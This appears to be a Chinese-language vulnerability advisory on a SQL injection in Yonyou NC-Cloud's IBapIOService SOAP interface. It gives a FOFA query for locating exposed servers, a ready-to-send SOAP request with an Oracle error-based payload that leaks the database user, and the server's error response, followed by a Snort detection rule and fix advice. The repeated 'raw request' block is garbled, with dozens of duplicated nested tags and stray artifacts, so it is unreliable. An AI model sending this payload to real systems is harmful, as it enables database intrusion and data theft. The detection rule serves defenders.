

用友NC-Cloud-IBapIOService-Sql注入

用友NC-Cloud-IBapIOService-Sql注入，攻击者可进行sql注入攻击获取数据库信息或者权限。

影响版本

用友-NC-Cloud

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: app="用友-NC-Cloud"

POC/EXP:

```
POST /uapws/service/nc.itf.bap.service.IBapIOService HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:gs="http://service.bap.itf.nc/IBapIOService">
  <soapenv:Header/>
  <soapenv:Body>
    <gs:getBapTableDatas>
      <gs:stringarrayItem>
        DWQueue@MessageQueue' AND 1=UTL_INADDR.GET_HOST_ADDRESS('~'||
(user)||'~')-- abc
      </gs:stringarrayItem>
```

```
</gs:getBapTableDatas>
</soapenv:Body>
</soapenv:Envelope>
```

```
原始 HTTP 请求
1 POST /uapws/service/nc.itf.bap.service.IBapIOService HTTP/1.1
2 Host: [REDACTED]
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
4 Accept: */*
5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 Accept-Encoding: gzip, deflate
7 Connection: close
8 Content-Type: text/xml
9
10 <?xml version="1.0" encoding="UTF-8" standalone="no"?>
11 Follow link (ctrl + click) <?xml version="1.0" encoding="UTF-8" standalone="no"?>
12 <soapenv:Envelope xmlns:gsa="http://schemas.xmlsoap.org/soap/envelope/" xmlns:gs="http://service.bap.itf.nc.IBapIOService">
13   <soapenv:Header/>
14   <soapenv:Body>
15     <gs:getBapTableDatas>
16       <gs:stringArrayItem>
17         <gs:stringArrayItem>
18           <gs:stringArrayItem>
19             <gs:stringArrayItem>
20               <gs:stringArrayItem>
21                 <gs:stringArrayItem>
22                 <gs:stringArrayItem>
23                 <gs:stringArrayItem>
24                 <gs:stringArrayItem>
25                 <gs:stringArrayItem>
26                 <gs:stringArrayItem>
27                 <gs:stringArrayItem>
28                 <gs:stringArrayItem>
29                 <gs:stringArrayItem>
30                 <gs:stringArrayItem>
31                 <gs:stringArrayItem>
32                 <gs:stringArrayItem>
33                 <gs:stringArrayItem>
34                 <gs:stringArrayItem>
35                 <gs:stringArrayItem>
36                 <gs:stringArrayItem>
37                 <gs:stringArrayItem>
38                 <gs:stringArrayItem>
39                 <gs:stringArrayItem>
40                 <gs:stringArrayItem>
41                 <gs:stringArrayItem>
42                 <gs:stringArrayItem>
43                 <gs:stringArrayItem>
44                 <gs:stringArrayItem>
45                 <gs:stringArrayItem>
46                 <gs:stringArrayItem>
47                 <gs:stringArrayItem>
48                 <gs:stringArrayItem>
49                 <gs:stringArrayItem>
50                 <gs:stringArrayItem>
51                 <gs:stringArrayItem>
52                 <gs:stringArrayItem>
53                 <gs:stringArrayItem>
54                 <gs:stringArrayItem>
55                 <gs:stringArrayItem>
56                 <gs:stringArrayItem>
57                 <gs:stringArrayItem>
58                 <gs:stringArrayItem>
59                 <gs:stringArrayItem>
60                 <gs:stringArrayItem>
61                 <gs:stringArrayItem>
62                 <gs:stringArrayItem>
63                 <gs:stringArrayItem>
64                 <gs:stringArrayItem>
65                 <gs:stringArrayItem>
66                 <gs:stringArrayItem>
67                 <gs:stringArrayItem>
68                 <gs:stringArrayItem>
69                 <gs:stringArrayItem>
70                 <gs:stringArrayItem>
71                 <gs:stringArrayItem>
72                 <gs:stringArrayItem>
73                 <gs:stringArrayItem>
74                 <gs:stringArrayItem>
75                 <gs:stringArrayItem>
76                 <gs:stringArrayItem>
77                 <gs:stringArrayItem>
78                 <gs:stringArrayItem>
79                 <gs:stringArrayItem>
80                 <gs:stringArrayItem>
81                 <gs:stringArrayItem>
82                 <gs:stringArrayItem>
83                 <gs:stringArrayItem>
84                 <gs:stringArrayItem>
85                 <gs:stringArrayItem>
86                 <gs:stringArrayItem>
87                 <gs:stringArrayItem>
88                 <gs:stringArrayItem>
89                 <gs:stringArrayItem>
90                 <gs:stringArrayItem>
91                 <gs:stringArrayItem>
92                 <gs:stringArrayItem>
93                 <gs:stringArrayItem>
94                 <gs:stringArrayItem>
95                 <gs:stringArrayItem>
96                 <gs:stringArrayItem>
97                 <gs:stringArrayItem>
98                 <gs:stringArrayItem>
99                 <gs:stringArrayItem>
100                <gs:stringArrayItem>
101              </gs:stringArrayItem>
102            </gs:stringArrayItem>
103          </gs:stringArrayItem>
104        </gs:stringArrayItem>
105      </gs:getBapTableDatas>
106    </soapenv:Body>
107  </soapenv:Envelope>
108
```

原始 HTTP 响应

```
1 HTTP/1.1 500 Internal Server Error
2 X-Content-Type-Options: nosniff
3 X-XSS-Protection: 1; mode=block
4 Content-Type: text/xml; charset=UTF-8
5 Date: Thu, 12 Jun 2025 08:54:36 GMT
6 Connection: close
7 Server: server
8 Content-Length [REDACTED]: 881
9
10 <sap>Envelope xmlns:sap="http://schemas.xmlsoap.org/sap/envelope/"
    ><sap:Body><sap:Fault><faultcode>sap:Server</faultcode>
        <faultstring>com.ufida.zior.exception.MessageException:
            sql:SELECT guid,dname,tabelid,displayName,displayName2,displayName3,
            displayName4,displayName5,displayName6,moduleid,authetype,help,
            createtime,modifiedtime,creator,modifier,pk_org,pk_group,dirguid,
            dr_ts,assetLayer,assetIndustry FROM bi_md_table WHERE :upper(tabelid)
            =□□□□□□□□□□□□DWQUEUE' and upper(d$ername)'='MESSAGEQUEUE' AND
            1=UTL_INADDR.GET_HOST_ADDRESS('~'||(USER))||'')---ABC
            1=UTL_INADDR.GET_HOST_ADDRESS('~'||(USER))||'')---ABC
            □□□□□□□□□□ ORA-29257: 未知的主机 -SEENTAONCC--
            12 ORA-06512: 在 "SYS. UTL_INADDR", line 19
            13 ORA-06512: 在 "SYS. UTL_INADDR", line 40
            14 ORA-06512: 在 line 1
```

snort规则:

```

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
    msg:"Yonyou NC-Cloud - SQL Injection in IBapIOService";
    flow:to_server,established;
    content:"POST"; http_method;
    content: "/uapws/service/nc.itf.bap.service.IBapIOService"; http_uri;
    content: "Content-Type: text/xml"; http_client_header;
    pcre: "/<gs:getBapTableDatas>.*?<gs:stringarrayItem>[^<]*'[\s\S]*?'
AND\s+1=UTL_INADDR\.GET_HOST_ADDRESS\(/is";
    metadata:service http;
    metadata:affected_product "用友NC-Cloud";
    metadata:attack_type "Oracle SQL Injection";
    metadata:severity "critical";
    reference:url,www.example.com/vulnldb/yonyou-nccloud-sqli;
    classtype:sqli-injection;
    sid:1000102;
    rev:1;
    priority:1;
)

```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。